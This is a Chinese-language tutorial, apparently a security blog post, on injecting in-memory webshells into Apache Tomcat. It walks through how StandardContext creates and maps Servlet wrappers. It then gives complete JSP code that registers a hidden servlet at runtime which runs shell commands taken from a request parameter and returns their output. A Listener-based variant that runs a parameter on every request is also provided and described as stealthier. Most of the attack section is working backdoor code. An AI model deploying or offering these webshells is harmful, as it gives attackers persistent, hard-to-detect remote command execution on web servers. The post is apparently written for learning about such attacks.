之前入门先把Filter类型的内存马弄了下,把Servlet的也搞下
Servlet Demo Servlet接口类有五个接口,分别是init(Servlet对象初始化时调用)、getServletConfig(获取web.xml中Servlet对应的init-param属性)、service(每次处理新的请求时调用)、getServletInfo(返回Servlet的配置信息,可自定义实现)、destroy(结束时调用)
其中主要的逻辑是在Service里实现,自己随便写点
其中,对应的web.xml如下配置
1 2 3 4 5 6 7 8 9 10 11 12 13 <!--Demo--> <servlet> <servlet-name>servletDemo</servlet-name> <servlet-class>com.java.Memory.ServletDemo</servlet-class> <init-param> <param-name>contextConfigLocation</param-name> <param-value>WEB-INF/dispatcher-servlet.xml</param-value> </init-param> </servlet> <servlet-mapping> <servlet-name>servletDemo</servlet-name> <url-pattern>/servlet</url-pattern> </servlet-mapping>
注入Servlet 从前面的Servlet Demo可以看到,Servlet 的生命周期开始于Web容器的启动时(解析加载web.xml配置的servlet对象),它就会被载入到Web容器内存中,直到Web容器停止运行或者重新装入servlet时候结束。这里也就是说,一旦Servlet被装入到Web容器之后,一般是会长久驻留在Web容器之中。
要注入servlet,就需要在tomcat启动之后动态添加Servlet。Tomcat7之后的版本,在StandardContext中提供了动态添加Servlet类的方法:
之前在Filter篇讲过Container里的四大组件分别为Engine.Host.Context和Wrapper
根据文档可知:
Engine,实现类为 org.apache.catalina.core.StandardEngine
Host,实现类为 org.apache.catalina.core.StandardHost
Context,实现类为 org.apache.catalina.core.StandardContext
Wrapper,实现类为 org.apache.catalina.core.StandardWrapper
这里提个小插曲,针对于javaweb的三大件Listener.Servlet,Filter
这三者的启动顺序是Listener->Filter->Servlet
Wrapper代表(负责管理)一个Servlet,而Context中包含了一个或多个Warpper(即Servlet)
Servlet 生成与配置 如何创建一个Wapper,并配置好Servlet进行动态添加呢?
首先得有一个创建Wapper实例的东西,这里可以从StandardContext.createWapper()获得一个Wapper对象
前面说到过,Context 负责管理 Wapper ,而 Wapper 又负责管理 Servlet 实例。当获取到StandardContext对象,就可以用 createWapper() 来生成一个 Wapper 对象。
接下来就是配置Servlet,探究配置过程,在 org.apache.catalina.core.StandardWapper#setServletClass() 下断点
追溯到上一级configureStart,开始配置webconfig:
webConfig() 中读取了 web.xml
然后根据 web.xml 配置 context
configureContext() 中依次读取了 Filter、Listener、Servlet的配置及其映射,我们直接看 Servlet 部分
使用context对象的createWrapper()方法创建了Wapper对象,然后设置了启动优先级LoadOnStartUp,以及servlet的Name
接着配置了Servlet的Class
最后将创建并配置好的 Wrapper 加入到 Context 的 Child 中。通过循环遍历所有 servlets 完成了 Servlet 从配置到添加的全过程,接下来就需要添加Servlet-Mapper了
取出web.xml中所有配置的Servlet-Mapping,通过context.addServletMappingDecoded()将url路径和servlet类做映射。
总结一下,Servlet的生成与动态添加依次进行了以下步骤:
1 2 3 4 5 6 7 8 9 10 11 1. 通过 context.createWapper() 创建 Wapper 对象; 2. 设置 Servlet 的 LoadOnStartUp 的值; 3. 设置 Servlet 的 Name; 4. 设置 Servlet 对应的 Class; 5. 将 Servlet 添加到 context 的 children 中; 6. 将 url 路径和 servlet 类做映射。
简单的Servlet内存马 首先写一个 Servlet 恶意类,实现为 service() 方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <%! Servlet servlet = new Servlet() { @Override public void init(ServletConfig servletConfig) throws ServletException { } @Override public ServletConfig getServletConfig() { return null; } @Override public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException { String cmd = servletRequest.getParameter("cmd"); boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\a"); String output = s.hasNext() ? s.next() : ""; PrintWriter out = servletResponse.getWriter(); out.println(output); out.flush(); out.close(); } @Override public String getServletInfo() { return null; } @Override public void destroy() { } }; %>
获取到 StandardContext
1 2 3 4 5 6 7 <% // 一个小路径快速获得StandardContext Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext stdcontext = (StandardContext) req.getContext(); %>
根据之前研究的,按照步骤添加Servlet
1 2 3 4 5 6 7 8 <% Wrapper newWrapper = stdcontext.createWrapper(); String name = servlet.getClass().getSimpleName(); newWrapper.setName(name); newWrapper.setLoadOnStartup(1); newWrapper.setServlet(servlet); newWrapper.setServletClass(servlet.getClass().getName()); %>
最后将 URL 路径与 Servlet 恶意类做映射
1 2 3 4 5 <% // url绑定 stdcontext.addChild(newWrapper); stdcontext.addServletMappingDecoded("/metaStor", name); %>
最后组合一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 <%@ page import="java.io.IOException" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.util.Scanner" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.io.PrintWriter" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%! public static class servletTest extends HttpServlet { @Override public void doGet(HttpServletRequest httpRequest, HttpServletResponse httpResponse) throws ServletException, IOException { System.out.println("doGet被调用"); //servletResponse.getOutputStream().write("doGet被调用".getBytes()); if (httpRequest.getParameter("c") != null) { System.out.println("eval"); //String[] command = new String[]{"sh", "-c", request.getParameter("c")}; String command = httpRequest.getParameter("c"); //System.out.println(Arrays.toString(command)); InputStream inputStream = Runtime.getRuntime().exec(command).getInputStream(); Scanner scanner = new Scanner(inputStream).useDelimiter("\\a"); String output = scanner.hasNext() ? scanner.next() : ""; httpResponse.getOutputStream().write(output.getBytes()); httpResponse.getOutputStream().flush(); //servletResponse.getWriter().write(output); //servletResponse.getWriter().flush(); } } @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { System.out.println("doPost被调用"); doGet(req, resp); } @Override public void init() throws ServletException { System.out.println("servlet demo init!"); } } %> <% servletTest servlet=new servletTest(); // 一个小路径快速获得StandardContext,这两种都行,这个常用一点 // Field reqF = request.getClass().getDeclaredField("request"); // reqF.setAccessible(true); // Request req = (Request) reqF.get(request); // StandardContext stdcontext = (StandardContext) req.getContext(); // 获取StandardContext org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext stdcontext = (StandardContext)webappClassLoaderBase.getResources().getContext(); org.apache.catalina.Wrapper newWrapper = stdcontext.createWrapper(); String name = servlet.getClass().getSimpleName(); newWrapper.setName(name); newWrapper.setLoadOnStartup(1); newWrapper.setServlet(servlet); newWrapper.setServletClass(servlet.getClass().getName()); // url绑定 stdcontext.addChild(newWrapper); stdcontext.addServletMappingDecoded("/servlet", name); System.out.print("注入成功"); %>
这里把Listener的Demo一起放,稍微看了下具体原理差不多,细节改下就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.util.Scanner" %> <%@ page import="java.io.IOException" %> <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%! public class listenerDemo implements ServletRequestListener{ @Override public void requestDestroyed(ServletRequestEvent sre){ System.out.println("linstener Destroyed!"); } @Override public void requestInitialized(ServletRequestEvent sre){ System.out.println("linstener Initialized!"); String command = sre.getServletRequest().getParameter("fuck"); try { Runtime.getRuntime().exec(command); } catch (IOException e) { e.printStackTrace(); } } } %> <% // 一个小路径快速获得StandardContext Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext context = (StandardContext) req.getContext(); listenerDemo listenerdemo = new listenerDemo(); context.addApplicationEventListener(listenerdemo); %>
这个listener的形式优先级最高,代码量最小,而且由于servrlet的特性,每次都会销毁实例,隐蔽性更高一点点